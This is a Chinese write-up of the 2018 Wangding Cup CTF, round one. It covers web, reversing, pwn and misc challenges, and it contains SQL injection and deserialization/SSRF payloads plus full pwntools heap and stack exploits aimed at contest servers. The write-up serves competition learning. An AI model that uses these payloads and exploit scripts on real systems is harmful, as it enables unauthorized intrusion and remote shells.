网鼎杯第一场writeup

web

facebook

首先访问robots.txt

存在备份泄露,把user.php.bak下载下来

<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
        return $output;
    }
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

猜测可有ssrf,但是正则很严格,继续看下去

注册一个账号,发现

view.php的no参数是可以注入的

payload:/view.php?no=-6 unIon/**/select 1,table_name,3,4 from information_schema.tables where table_schema=database()

可以注入出表名 也可以注入出列名 from information_schema.columns where table_schema=database() limit 0,3 分别是nousernamepassworddata 查看data的数据会发现是一个序列化的数据

报错中也可以看出用了unserialize()函数,那么在这里我们就可以通过注入来控制反序列化,再利用 ssrf 读文件

payload:

/view.php?no=1 unIon/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"ckj123";s:3:"age";i:111111;s:4:"blog";s:29:"file:///var/www/html/flag.php";} '

re

Advance

首先运行程序看一下:

a0.png

将这串数字decode hex得到:

K@LKVHr[DXEsLsYI@\AMYIr\EIZQ

然后拖入IDA看看:

a1.png

d_run_main

再看其他的函数,虽然没有去符号,但是都很难看。

a5.png

点进去看这个函数,发现还是很奇怪。

a2.png

a3.png

中间的过程像是将angv的内容copy到一块区域。其他也看不出个所以然了。

实在不行我们看一下字符串,如下:

a4.png

看到了那串字符串,那只要看一下索引不就可以找到对应函数了吗!

很可惜..对应的索引在data段上,再向上索引就到了ELF_HEADER上..

在比赛的时候我的思路就只到了这里,还有就是根据字符串中的.d文件推测这是用D语言写的。实在没辙了就根据疑似flag的数据入手。将首字符与'f'作异或,再将异或值与这个字符串逐个异或过去,发现了一些东西:

a6.png

可以很明显看出,这应该是一个奇偶分别异或一个值得到的flag。那么像上面一样将第二个值得到,写出如下脚本:

stringA = r'K@LKVHr[DXEsLsYI@\AMYIr\EIZQ'
flag = ''
for i in range(len(stringA)):
    if(i % 2 == 0):
        flag += chr(ord(stringA[i]) ^ 45)
    else:
        flag += chr(ord(stringA[i]) ^ 44)
print(flag)

赛后和学长复盘了一下。发现这道题与CSAW 2016的一道题及其相似..就连脚本都可以直接套用..更正确的解法应该是从函数名入手(其实是一种挺正常的想法吧..)。

a7.png

这里找到这个函数后,在IDA中点开分析。

a8.png

这里可以大致推断两个参数为之前的那串字符串以及其长度。

发现这里符号有点奇怪,都是xxxx_111/222…._xxxx这样的。那么再点进去看一下。

a10.png

这边可以用D语言的demangle洗一遍符号。进行分析。

最后分析出来,脚本如下:

stringA = r'K@LKVHr[DXEsLsYI@\AMYIr\EIZQ'
listA = []
for i in stringA:
    listA.append(ord(i))
for i in range(1,500):
    encryptStr = str(i) * 3
    for i in range(len(stringA)):
        listA[i] = listA[i] ^ ord(encryptStr[i % len(encryptStr)]) ^ len(stringA)
flag = ''.join(chr(i) for i in listA)
print(flag)

flag{d_with_a_template_phew}

Beijing

拖入IDA,如图:

b0.png

可以看出它经过了一个函数后将一个字符输出,那在虚拟机中跑一下试试。

b1.png

那么就进入函数看一下。

b2.png

可以看出,输出的字符根据传进来的参数作为switchtable的选择子,将相邻的两个字符进行一个异或,最后将结果返回。那再看一下进行异或的数据是什么。

b3.png

b4.png

我们可以看见一些关键字符,如'{','}','_',且都在奇数位上,而偶数位还有一些不可显字符。那就大胆猜测只要不异或偶数位就ok。最后脚本如下:

string = 'aginbefjml{z}_W'
num = [6,9,0,1,0xa,0,8,0,0xb,2,3,1,0xd,4,5,2,7,2,3,1,0xc]
flag = ''
for i in num:
    flag += string[i]
print(flag)

flag{amazing_beijing}

PWN

GUESS

注意到这里flag已经被读进栈里,但是下面的比较并没有什么问题,不可能直接猜出那么长的flag,但是很明显有个栈溢出可以用

再看下面有一个很奇怪的地方

他为什么要特意用fork出来的进程跑流程呢,我们看下保护

发现开了canary,因为是fork出来的进程所以不用怕跑崩,就可以考虑故意触发__stack_chk_fail并通过超长的溢出改掉argv[0]来输出你想输出的一切,原理如下:

__stack_chk_fail :

void 
__attribute__ ((noreturn)) 
__stack_chk_fail (void) {   
    __fortify_fail ("stack smashing detected"); 
}

fortify_fail:

void 
__attribute__ ((noreturn)) 
__fortify_fail (msg)
   const char *msg; {
      /* The loop is added only to keep gcc happy. */
         while (1)
              __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>") 
} 
libc_hidden_def (__fortify_fail)

对于此题的目标——栈上的flag来说,刚好三步就可以得到(也是题目设计的次数) 第一步利用got表来得到libc地址 第二步利用libc的environ来得到stack地址 第三步计算flag地址直接输出

最后是poc:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./guess')
    bin = ELF('./guess')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
    cn = remote('106.75.90.160',9999)
    bin = ELF('./guess')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()


cn.sendline(p64(0x602020)*200)

cn.recvuntil('***: ')
lbase = u64(cn.recvuntil('\x7f').ljust(8,'\x00')) - libc.sym['puts']
print('lbase:' + hex(lbase))

env = lbase + libc.sym['environ']

cn.sendline(p64(env)*200)
cn.recvuntil('***: ')
sbase = u64(cn.recvuntil('\x7f').ljust(8,'\x00')) - 0x168
print('sbase:' + hex(sbase))

cn.sendline(p64(sbase)*200)

#z('c')
cn.interactive()

blind

除了没有提供任何方式输出字符串外就是一个普通的堆题,存在use after free漏洞,且chunk大小属于fastbin范围,可以考虑比较常见的fastbin attack方式进行利用。

由于还开了got表保护,所以没办法通过修改got表来执行getshell函数,但bss上的文件指针却可以拿来利用。 思路是首先通过fastbin attack修改ptr指针,方便待会任意地址写,然后找一块地方伪造自己的FILE结构体,并修改stdout指针指向那个结构体,伪造的时候把getshell函数作为结构体虚表函数的地址,这样待会输出的时候就会跑去直接getshell函数了。 poc如下:

from pwn import *
context.log_level='debug'
p=remote('106.75.20.44',9999)
#p=process('./blind')
p.recv()
def pr():
    p.recvuntil('ice:')
def new(index,content,sh=0):
    p.send('1\n')
    p.recvuntil('Index:')
    p.send(str(index))
    p.recvuntil(':')
    p.sendline(content)
    if sh==1:
        p.interactive()
    pr()

def change(index,content,sh=0):
    p.send('2\n')
    p.recvuntil('Index:')
    p.send(str(index))
    p.recvuntil(':')
    p.sendline(content)
    if sh==1:
        p.interactive()
    pr()

def free(index):
    p.send('3\n')
    p.recvuntil('Index:')
    p.send(str(index))
    pr()

def write(addr,v,sh=0):
    change(0,p64(0x602060)+p64(addr))
    change(1,v,sh)

puts=0x601FA0
ptr=0x602060
target=0x60201d
shell=0x4008E3
new(0,"asdasd")
free(0)
change(0,p64(target))
new(5,p64(shell)*10)
new(3,'\x00'*3+'\x00'*0x30+p64(0x602060))

write(0x602100,p64(0xfbada887)+p64(0)*7+p64(1))
write(0x6021d8,p64(0x602200))
write(0x602200, p64(shell)*8)
write(0x602020,p64(0x602100),1)
p.interactive()

babyheap

p1.png

跟上面一题比较类似,本身也有UAF漏洞,但是chunk的大小限制为了0x30。这样就不能直接通过fastbin attack修改malloc_hook进行攻击。但是由于程序没有开PIE,就可以利用unlink改掉edit的限制次数,leak出libc基址,最后将system地址写入free_hook,getshell。

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./babyheap')
    bin = ELF('./babyheap',checksec=False)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
    cn = remote('106.75.67.115', 9999)
    bin = ELF('./babyheap',checksec=False)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    pass


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()


def add(idx,con):
    cn.sendlineafter('Choice:','1')
    cn.sendlineafter(':',str(idx))
    cn.sendlineafter(':',con)

def edit(idx,con):
    cn.sendlineafter('Choice:','2')
    cn.sendlineafter(':',str(idx))
    cn.sendlineafter(':',con)

def dele(idx):
    cn.sendlineafter('Choice:','4')
    cn.sendlineafter(':',str(idx))

def show(idx):
    cn.sendlineafter('Choice:','3')
    cn.sendlineafter(':',str(idx))


add(0,p64(0x30)*3+'\x30')
add(1,'asd')
add(2,'asd')
add(3,'asd')
add(4,p64(0)+p64(0x21))

dele(2)
dele(3)
show(3)

hbase=u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-0x60
success(hex(hbase))

edit(3,p64(hbase+0x20))


dele(0)
add(9,p64(0)+p64(0x21)+p64(0x30)+p32(0x30))

# z()

add(6,'/bin/sh')
add(7,p64(0x20)+p64(0x90))

dele(0)

add(8,p64(0)+p64(0x21)+p64(0x0602060-0x18+9*8)+p32(0x0602060-0x10+9*8))

dele(1)

# z('b*0x0000000000400C86\nc')
edit(9,p64(0x000000000602098)*2+p64(0x0000000006020B0)+p32(bin.got['free']))
show(9)

lbase=u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-libc.sym['free']
success(hex(lbase))

# z('b*0x0000000000400B1D\nc')
edit(8,p64(0))

edit(7,p64(0x000000000602098)+p64(0x0000000006020B0)+p64(lbase+libc.sym['__free_hook'])[:-1])

edit(8,p64(0))

edit(9,p64(lbase+libc.sym['system'])[:-1])

# z('b free\nc')
dele(3)
# z()

cn.interactive()

misc

clip

下载下来之后有这两个文件

告诉我们要切割 用010editor打开damaged.disk 会在里面找到两个

然后将这两张png分别拿出来补齐文件头和文件尾 前面加上 89 50 4E 47 0D 0A 1A 0A 后面加上 00 00 00 00 49 45 4E 44 AE 42 60 82 就可以得到两张图片了

然后将两张图片切成数个图拼起来得到flag

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-08-22

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏cmazxiaoma的架构师之路

一个Java小白面试得力集团的收获

2593
来自专栏逍遥剑客的游戏开发

多线程调用的封装技巧

3057
来自专栏大闲人柴毛毛

柴毛毛大话设计模式——开发常用的设计模式梳理

写在最前 本文是笔者的一点经验总结,主要介绍几种在Web开发中使用频率较高的设计模式。 本文篇幅较长,建议各位同学挑选感兴趣的设计模式阅读。 在阅读的同时,也...

4887
来自专栏java思维导图

使用Google Guava快乐编程

链接:http://blog.51cto.com/zhangfengzhe/1912897

1524
来自专栏jeremy的技术点滴

golang语言常见范式

4454
来自专栏Golang语言社区

十条有用的 Golang语言 技术

十条有用的 Go 技术 这里是我过去几年中编写的大量 Go 代码的经验总结而来的自己的最佳实践。我相信它们具有弹性的。这里的弹性是指: 某个应用需要适配一个灵...

4179
来自专栏Golang语言社区

Go语言的 10 个实用技术--转

十条有用的 Go 技术   这里是我过去几年中编写的大量 Go 代码的经验总结而来的自己的最佳实践。我相信它们具有弹性的。这里的弹性是指:   某个应用需要适配...

3667
来自专栏极客猴

基础知识 | 使用 Python 将数据写到 CSV 文件

我们从网上爬取数据,最后一步会考虑如何存储数据。如果数据量不大,往往不会选择存储到数据库,而是选择存储到文件中,例如文本文件、CSV 文件、xls 文件等。因为...

1032
来自专栏西枫里博客

Ajax处理success回调函数返回的json数据。

站长最近在项目中用调用一个分类的子数据,由于表单要填写的数据较多,为了实现无刷新的选择操作,就使用ajax做了异步查询。查询的结果因为是多条数据,一直以来动用a...

1702
来自专栏大内老A

ASP.NET MVC下的四种验证编程方式

ASP.NET MVC采用Model绑定为目标Action生成了相应的参数列表,但是在真正执行目标Action方法之前,还需要对绑定的参数实施验证以确保其有效性...

2357

扫码关注云+社区

领取腾讯云代金券